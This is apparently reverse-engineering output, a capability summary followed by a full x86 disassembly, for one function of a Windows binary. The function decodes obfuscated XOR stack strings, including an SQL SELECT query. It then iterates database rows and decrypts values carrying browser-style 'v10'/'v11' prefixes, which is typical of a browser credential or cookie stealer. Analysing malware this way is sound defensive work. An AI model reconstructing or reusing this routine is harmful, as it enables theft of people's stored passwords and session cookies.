Function at 0x412522
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x200
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0xfc], ecx
push edi
mov dword [esp + 0xec], ebp
xor ecx, ecx
mov dword [esp + 0x14], 0x1021338
mov dword [esp + 0x18], 0x2a1d0419
mov dword [esp + 0x1c], 0x1d191935
mov word [esp + 0x20], 0x131f
mov byte [esp + 0x22], 5
mov al, byte [esp + ecx + 0x14]
xor al, 0x76
movzx eax, al
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 0xf
jl 0x412562
xor eax, eax
mov dword [esp + 0x24], 0x4541416d
mov word [esp + 0x186], ax
xor ecx, ecx
mov word [esp + 0x28], 0x4b47
mov byte [esp + 0x2a], 0x5d
mov al, byte [esp + ecx + 0x24]
xor al, 0x2e
movzx eax, al
mov word [esp + ecx*2 + 0x148], ax
inc ecx
cmp ecx, 7
jl 0x412599
xor eax, eax
mov word [esp + 0x156], ax
movzx eax, word [0x42b904]
and eax, 0x280d
xor eax, 0xc5bf995e
mov dword [0x42b8d0], eax
and eax, 0xf280
mov word [0x42b904], ax
call fcn.00420376
mov ecx, dword [0x42b8d0]
mov ebx, eax
add ecx, 0xffffa4de
xor ecx, 0xcbec
movzx edx, cx
movzx ecx, cx
test ebx, ebx
jne 0x41261a
lea eax, [ecx + 0x4b374fcb]
mov dword [0x42b8d0], eax
lea eax, [edx - 0xa39]
mov word [0x42b904], ax
jmp 0x413303
lea eax, [esp + 0x168]
imul ecx, ecx, 0x837f7a1a
mov dword [esp + 0x118], eax
xor esi, esi
lea eax, [esp + 0x148]
mov dword [esp + 0xf0], esi
mov dword [esp + 0x11c], eax
mov dword [esp + 0x54], 0xc7ded790
mov word [esp + 0x58], 0xd790
mov byte [esp + 0x5a], 0xde
xor edx, edx
movzx eax, byte [esp + edx + 0x54]
mov edi, 0xff
sub ax, 0x6b
and ax, di
mov word [esp + edx*2 + 0x158], ax
inc edx
cmp edx, 7
jl 0x41265b
push dword [esp + esi*4 + 0x118]
xor eax, eax
or ecx, 0x8f3a
mov word [esp + 0x16a], ax
movzx eax, cx
and ecx, 0xf83
imul eax, eax, 0x44ff31b2
push ebp
mov word [0x42b904], cx
mov dword [0x42b8d0], eax
lea eax, [esp + 0x160]
push eax
call fcn.00422d73
mov ecx, dword [0x42b8d0]
mov edx, eax
xor ecx, 0xa44ddc15
mov dword [esp + 0x110], edx
add esp, 0xc
mov dword [0x42b8d0], ecx
test edx, edx
je 0x4132f2
imul ecx, ecx, 0xa411bbb0
mov eax, ecx
and ecx, 0xe4bc285a
or eax, 0xb2f4
mov dword [0x42b8d0], ecx
mov ecx, edx
mov word [0x42b904], ax
call fcn.00422e77
mov dx, word [0x42b904]
mov ebp, eax
movzx ecx, dx
mov eax, 0x8e45
xor ecx, 0xd2e3ad43
or dx, ax
test ebp, ebp
je 0x4132b6
or ecx, 0x5a4c
xor edx, edx
imul eax, ecx, 0x905c
mov ecx, ebp
or eax, 0x6903
mov word [0x42b904], ax
movzx eax, ax
imul eax, eax, 0x7b154e40
mov dword [0x42b8d0], eax
call fcn.004235be
mov dx, word [0x42b904]
mov edi, eax
movzx ecx, dx
add ecx, 0xa7e867f2
mov dword [esp + 0xe4], edi
test edi, edi
je 0x41325f
movzx ecx, cx
and ecx, 0x9474d66c
or ecx, 0x8624
imul eax, ecx, 0xf8a4
or ecx, 0x3db23ee5
push 0
push 1
mov dword [0x42b8d0], ecx
mov word [0x42b904], ax
lea eax, [esp + 0xf0]
push eax
push edi
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x413211
xor edx, edx
mov dword [esp + 0x78], 0x171e1701
mov dword [esp + 0x7c], 0x3a720611
mov ecx, edx
mov dword [esp + 0x80], 0xd26213d
mov dword [esp + 0x84], 0x7e2b3739
mov dword [esp + 0x88], 0xd213b72
mov dword [esp + 0x8c], 0x2226263a
mov dword [esp + 0x90], 0x2b3e3c3d
mov dword [esp + 0x94], 0x3322727e
mov dword [esp + 0x98], 0x727e3a26
mov dword [esp + 0x9c], 0x210d213b
mov dword [esp + 0xa0], 0x20273137
mov dword [esp + 0xa4], 0x37727e37
mov dword [esp + 0xa8], 0x203b222a
mov dword [esp + 0xac], 0x270d2137
mov dword [esp + 0xb0], 0x727e3126
mov dword [esp + 0xb4], 0x373f333c
mov dword [esp + 0xb8], 0x3c37727e
mov dword [esp + 0xbc], 0x222b2031
mov dword [esp + 0xc0], 0xd363726
mov dword [esp + 0xc4], 0x273e3324
mov dword [esp + 0xc8], 0x147237
mov dword [esp + 0xcc], 0x31721f1d
mov dword [esp + 0xd0], 0x3b393d3d
mov word [esp + 0xd4], 0x2137
mov al, byte [esp + ecx + 0x78]
xor al, 0x52
mov byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 0x5e
jl 0x4128be
mov eax, dword [0x42b8d0]
add eax, 0xffffecba
mov byte [esp + 0x20e], dl
xor eax, 0xfde7
and eax, 0x72bc
mov word [0x42b904], ax
add eax, 0x68d0abf7
push edx
mov dword [0x42b8d0], eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1bc]
push eax
push dword [esp + 0xf8]
call dword [ebx + 8]
add esp, 0x14
test eax, eax
jne 0x4131f1
movzx ecx, word [0x42b904]
lea edi, [esp + 0x14]
push dword [esp + 0x10]
stosd dword es:[edi], eax
and ecx, 0x8c800a00
add ecx, 0x631c8f8f
mov dword [0x42b8d0], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ecx - 0xd29]
and eax, 0x21d0
mov word [0x42b904], ax
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
jne 0x412ec8
mov word [esp + 0x2c], 0x797c
xor edx, edx
mov word [esp + 0x30], 9
mov word [esp + 0x34], 9
mov ecx, edx
mov al, byte [esp + ecx + 0x2c]
sub al, 0x6f
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 2
jl 0x41297c
mov eax, dword [0x42b8d0]
push edx
push dword [esp + 0x14]
or eax, 0x7b38
mov byte [esp + 0xe6], dl
mov word [0x42b904], ax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov ax, word [0x42b904]
pop ecx
mov ecx, 0x4941
add ax, cx
mov word [0x42b904], ax
movzx eax, ax
push 1
push dword [esp + 0x14]
or eax, 0xc356b78e
mov dword [0x42b8d0], eax
call dword [ebx + 0x10]
pop ecx
pop ecx
movzx ecx, word [0x42b904]
mov edx, 0x5569
add cx, dx
movzx edx, cx
lea esi, [ecx - 0x7d65]
mov word [0x42b904], si
test eax, eax
je 0x412a6e
cmp byte [eax], 0x31
jne 0x412a6e
mov dword [esp + 0x3c], 0x403d3ff4
xor ecx, ecx
mov word [esp + 0x40], 0xf430
mov al, byte [esp + ecx + 0x3c]
add al, 0x15
mov byte [esp + ecx + 0x108], al
inc ecx
cmp ecx, 6
jl 0x412a2d
and edx, 0x5ea6
mov byte [esp + 0x10e], 0
lea eax, [edx - 0x7086b3b9]
mov dword [0x42b8d0], eax
lea edx, [esp + 0x108]
imul eax, eax, 0x9278
mov word [0x42b904], ax
jmp 0x412ab3
mov dword [esp + 0x5c], 0x776c7134
xor ecx, ecx
mov word [esp + 0x60], 0x707e
mov byte [esp + 0x62], 0x34
mov al, byte [esp + ecx + 0x5c]
sub al, 0x2b
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
jl 0x412a84
movzx eax, si
lea edx, [esp + 0x120]
add eax, 0x4a571fe
mov byte [esp + 0x127], 0
mov dword [0x42b8d0], eax
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004234c5
imul eax, dword [0x42b8d0], 0x445c
pop ecx
push 2
push dword [esp + 0x14]
mov word [0x42b904], ax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
movzx eax, word [0x42b904]
pop ecx
push 3
push dword [esp + 0x14]
and eax, 0x75ff0618
mov dword [0x42b8d0], eax
call dword [ebx + 0x10]
movzx edx, word [0x42b904]
pop ecx
pop ecx
mov ecx, 0x166b
imul edx, ecx
mov ecx, 0xd5a2
or dx, cx
test eax, eax
je 0x412b7d
cmp byte [eax], 0x31
jne 0x412b7d
mov dword [esp + 0x24], 0xb1b6b0ed
xor ecx, ecx
mov word [esp + 0x28], 0xeda1
mov al, byte [esp + ecx + 0x24]
xor al, 0xe4
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, 6
jl 0x412b3f
mov eax, dword [0x42b8d0]
lea edx, [esp + 0x110]
add eax, 0x3491538f
mov byte [esp + 0x116], 0
mov dword [0x42b8d0], eax
add eax, 0x4e78
mov word [0x42b904], ax
jmp 0x412be2
mov dword [esp + 0x44], 0xcfc4c98c
xor ecx, ecx
mov word [esp + 0x48], 0xc8d6
mov byte [esp + 0x4a], 0x8c
mov al, byte [esp + ecx + 0x44]
add al, 0x7d
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x412b93
mov eax, 0xec78
mov byte [esp + 0x12f], 0
and dx, ax
mov eax, 0x5314
movzx ecx, dx
lea edx, [esp + 0x128]
imul ecx, eax
movzx eax, cx
imul eax, eax, 0x658fd0ab
mov word [0x42b904], cx
sub eax, 0x52e8bdea
mov dword [0x42b8d0], eax
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004234c5
mov eax, dword [0x42b8d0]
xor eax, 0x7d5d
mov word [0x42b904], ax
movzx eax, ax
pop ecx
imul eax, eax, 0xcf7f7a01
push 4
push dword [esp + 0x14]
mov dword [0x42b8d0], eax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov ax, word [0x42b904]
lea edx, [esp + 0x34]
pop ecx
mov ecx, 0x9809
add ax, cx
lea ecx, [esp + 0x14]
mov word [0x42b904], ax
movzx eax, ax
imul eax, eax, 0x14695090
push 0xffffffffffffffff
mov dword [0x42b8d0], eax
call fcn.004234c5
pop ecx
mov cx, word [0x42b904]
movzx eax, cx
and eax, 0xd53a164b
mov dword [0x42b8d0], eax
mov eax, 0x6475
push 5
push dword [esp + 0x14]
add cx, ax
mov word [0x42b904], cx
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
pop ecx
mov eax, 0xe932
lea edx, [esp + 0x34]
add word [0x42b904], ax
lea ecx, [esp + 0x14]
push 0xffffffffffffffff
call fcn.004234c5
xor dword [0x42b8d0], 0xaaa1fda
mov eax, 0xca4b
and word [0x42b904], ax
pop ecx
push 6
push dword [esp + 0x14]
call dword [ebx + 0x14]
mov esi, eax
movzx eax, word [0x42b904]
xor eax, 0xfc74e06d
mov dword [0x42b8d0], eax
pop ecx
pop ecx
test esi, esi
je 0x412e94
and eax, 0xc03a
mov word [0x42b904], ax
movzx eax, ax
push 6
push dword [esp + 0x14]
sub eax, 0x275e5c1
mov dword [0x42b8d0], eax
call dword [ebx + 0x20]
mov edi, dword [0x42b8d0]
mov edx, eax
pop ecx
add edi, 0xffffad72
cmp byte [esi], 0x76
pop ecx
jne 0x412de8
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x412de8
cmp byte [eax], 0x30
je 0x412d54
cmp byte [eax], 0x31
jne 0x412de8
imul eax, edi, 0x60a1
mov ecx, esi
movzx eax, ax
add eax, 0x5b55fbb9
mov dword [0x42b8d0], eax
or eax, 0x9c38
mov word [0x42b904], ax
lea eax, [esp + 0xf4]
push eax
call fcn.0040fbaa
mov esi, eax
pop ecx
test esi, esi
je 0x412e94
mov ecx, dword [0x42b8d0]
mov edx, esi
push dword [esp + 0xf4]
and ecx, 0x220d
add ecx, 0x3540
mov word [0x42b904], cx
movzx ecx, cx
xor ecx, 0xae22aa6e
mov dword [0x42b8d0], ecx
lea ecx, [esp + 0x18]
call fcn.00423107
movzx eax, word [0x42b904]
xor eax, 0xe7f12225
pop ecx
add eax, 0x565ba13c
push esi
mov dword [0x42b8d0], eax
call fcn.004056f0
jmp 0x412e93
mov ecx, 0x5fbf
mov dword [esp + 0x130], edx
or cx, di
mov dword [esp + 0x134], esi
movzx ecx, cx
mov eax, 0xafa4
imul ecx, eax
mov edx, 0xbedfd981
mov eax, 0xe0f1
and cx, ax
movzx eax, cx
and ecx, 0x5cd1
imul eax, eax, 0x253bc780
mov word [0x42b904], cx
or eax, 0xac5ca4bd
mov dword [0x42b8d0], eax
lea eax, [esp + 0x138]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x148]
push eax
push 3
pop ecx
call fcn.004155a6
call eax
test eax, eax
je 0x412e94
mov ax, word [0x42b904]
mov ecx, 0xd644
push dword [esp + 0x138]
mov edx, dword [esp + 0x140]
xor ax, cx
mov word [0x42b904], ax
lea ecx, [esp + 0x18]
movzx eax, ax
sub eax, 0x28d57560
mov dword [0x42b8d0], eax
call fcn.00423107
pop ecx
mov eax, dword [0x42b8d0]
lea edx, [esp + 0xdc]
add eax, 0x357b
lea ecx, [esp + 0x14]
push 0xffffffffffffffff
mov word [0x42b904], ax
call fcn.004234c5
pop ecx
push dword [esp + 0x10]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x41296a
mov eax, 0xe1e2
or word [0x42b904], ax
cmp dword [esp + 0x14], 0
je 0x4131ea
mov dword [esp + 0x64], 0xebefefc3
xor ecx, ecx
mov dword [esp + 0x68], 0xaff3e5e9
mov dword [esp + 0x6c], 0xdff3eca5
mov dword [esp + 0x70], 0xaef3eca5
mov word [esp + 0x74], 0xf8f4
mov byte [esp + 0x76], 0xf4
mov al, byte [esp + ecx + 0x64]
xor al, 0x80
movzx eax, al
mov word [esp + ecx*2 + 0x188], ax
inc ecx
cmp ecx, 0x13
jl 0x412f0d
mov ecx, dword [esp + 0xec]
lea edx, [esp + 0xf8]
xor eax, eax
mov word [esp + 0x1ae], ax
mov eax, dword [0x42b8d0]
xor eax, 0x2000
and eax, 0x6012
or eax, 0x1185
mov word [0x42b904], ax
movzx eax, ax
xor eax, 0x1920d720
and eax, 0x59eef721
mov dword [0x42b8d0], eax
call fcn.00413f04
mov ecx, dword [0x42b8d0]
mov esi, eax
add ecx, 0x27e9c451
test esi, esi
je 0x4130ff
mov edx, dword [esp + 0xf8]
or ecx, 0xfe74
lea eax, [ecx + 0x392d]
mov ecx, esi
mov word [0x42b904], ax
movzx eax, ax
and eax, 0x4e687493
mov dword [0x42b8d0], eax
lea eax, [esp + 0xfc]
push eax
call fcn.0040fbaa
pop ecx
mov ecx, dword [0x42b8d0]
mov edi, eax
mov edx, ecx
and edx, 0x120
test edi, edi
je 0x4130e6
mov dword [esp + 0x4c], 0x1d337275
xor ecx, ecx
mov word [esp + 0x50], 0x4201
mov byte [esp + 0x52], 0x58
mov al, byte [esp + ecx + 0x4c]
xor al, 0x78
mov byte [esp + ecx + 0x140], al
inc ecx
cmp ecx, 7
jl 0x412fe7
mov byte [esp + 0x147], 0
xor ecx, ecx
mov word [esp + 0x38], 0x9da0
mov al, byte [esp + ecx + 0x38]
add al, 0x6d
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 2
jl 0x41300b
or edx, 0x280548cf
mov byte [esp + 0xe2], 0
mov dword [0x42b8d0], edx
lea ecx, [esp + 0x14]
or edx, 0xbeb4
sub edx, 0x180f
mov word [0x42b904], dx
lea edx, [esp + 0x140]
push 0xffffffffffffffff
call fcn.004234c5
mov ax, word [0x42b904]
mov edx, edi
pop ecx
push dword [esp + 0xfc]
mov ecx, 0xf73b
and ax, cx
mov ecx, 0x752b
or ax, cx
mov ecx, 0xb521
xor ax, cx
lea ecx, [esp + 0x18]
mov word [0x42b904], ax
call fcn.00423107
movzx eax, word [0x42b904]
lea edx, [esp + 0xe4]
xor eax, 0x55a7c95c
pop ecx
movzx ecx, word [0x42b904]
mov dword [0x42b8d0], eax
mov eax, 0x6b5d
imul ecx, eax
push 0xffffffffffffffff
mov word [0x42b904], cx
lea ecx, [esp + 0x18]
call fcn.004234c5
mov eax, dword [0x42b8d0]
pop ecx
or eax, 0x34ad
push edi
mov word [0x42b904], ax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42b8d0]
imul eax, ecx, 0xf8c0
push esi
mov word [0x42b904], ax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42b8d0]
push dword [esp + 0x214]
or ecx, 0xacac
push dword [esp + 0x104]
movzx eax, cx
xor eax, 0x23984536
mov word [0x42b904], cx
mov dword [0x42b8d0], eax
lea eax, [esp + 0x190]
push eax
call fcn.00422d73
mov edx, dword [0x42b8d0]
mov esi, eax
add edx, 0xf3ec1e05
add esp, 0xc
mov ecx, edx
or ecx, 0xbf0a
test esi, esi
je 0x4131c5
imul ecx, edx, 0x9a7ed66d
mov edx, dword [esp + 0x1c]
push esi
mov eax, ecx
or ecx, 0x118f
add ecx, 0xa47
xor eax, 0x4e92a94
and ecx, 0x216b
mov dword [0x42b8d0], eax
sub ecx, 0x69c
mov word [0x42b904], cx
mov ecx, dword [esp + 0x18]
call fcn.0041eb29
mov eax, 0x7fba
xor word [0x42b904], ax
mov eax, dword [0x42b8d0]
and eax, 0x5bc24792
pop ecx
add eax, 0x3f03b323
push esi
mov dword [0x42b8d0], eax
call fcn.004056f0
mov edx, dword [0x42b8d0]
pop ecx
mov cx, word [0x42b904]
push dword [esp + 0x14]
mov eax, 0x20bf
and edx, 0x78c55e9f
and cx, ax
mov dword [0x42b8d0], edx
mov word [0x42b904], cx
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xe4]
movzx eax, word [0x42b904]
push dword [esp + 0x10]
and eax, 0xe2160ee6
mov dword [0x42b8d0], eax
call dword [ebx + 0x18]
mov esi, dword [esp + 0xf4]
pop ecx
push dword [esp + 0xe8]
mov eax, 0x8df
or word [0x42b904], ax
call dword [ebx + 0x1c]
pop ecx
mov cx, word [0x42b904]
movzx eax, cx
or eax, 0x333dabdc
mov dword [0x42b8d0], eax
mov eax, 0xd413
and cx, ax
push edi
mov word [0x42b904], cx
call fcn.004056f0
mov dx, word [0x42b904]
pop ecx
mov ecx, dword [0x42b8d0]
mov eax, 0x1084
or ecx, 0xf7a7e6be
sub dx, ax
mov dword [0x42b8d0], ecx
mov eax, 0xc554
xor ecx, ecx
or dx, ax
inc ecx
mov word [0x42b904], dx
mov edx, 0x62d87b
push ebp
call fcn.004155a6
call eax
mov eax, dword [0x42b8d0]
xor eax, 0x9f51
push ebp
mov word [0x42b904], ax
call fcn.004056f0
mov dx, word [0x42b904]
pop ecx
mov ecx, dword [0x42b8d0]
push dword [esp + 0x104]
mov eax, 0xfba4
sub ecx, 0x5cfed313
xor ax, dx
mov dword [0x42b8d0], ecx
mov edx, 0x6f52
sub ax, dx
mov word [0x42b904], ax
call fcn.004056f0
mov ebp, dword [esp + 0xf0]
pop ecx
mov ecx, dword [0x42b8d0]
inc esi
mov dword [esp + 0xf0], esi
cmp esi, 2
jb 0x412659
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret